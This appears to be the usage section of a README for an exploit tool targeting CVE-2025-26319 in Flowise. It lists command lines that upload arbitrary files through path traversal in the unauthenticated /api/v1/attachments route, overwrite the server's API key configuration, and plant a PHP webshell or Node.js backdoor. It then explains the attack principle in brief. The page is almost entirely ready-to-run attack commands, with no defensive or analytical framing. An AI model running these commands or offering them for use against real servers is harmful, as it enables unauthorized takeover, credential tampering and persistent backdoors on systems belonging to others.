CVE-2025-26319

1. Basic File Upload python flowise_exploit.py -u http://target:3000 -f local_file.txt -d /path/on/server/file.txt
2. Upload Configuration File

Modify API key configuration

python flowise_exploit.py -u http://target:3000 -f new_api.json -d /root/.flowise/api.json 3. Auto-generate and Upload Webshell

Upload PHP Webshell

python flowise_exploit.py -u http://target:3000 --generate-webshell php --webshell-path /var/www/html/shell.php

Upload Node.js Backdoor

python flowise_exploit.py -u http://target:3000 --generate-webshell nodejs --webshell-path /tmp/backdoor.js

Attack Principle Using the /api/v1/attachments route which is in the whitelist, no authentication required Path traversal by manipulating the chatId parameter (../../../) Upload arbitrary files to any location on the server file system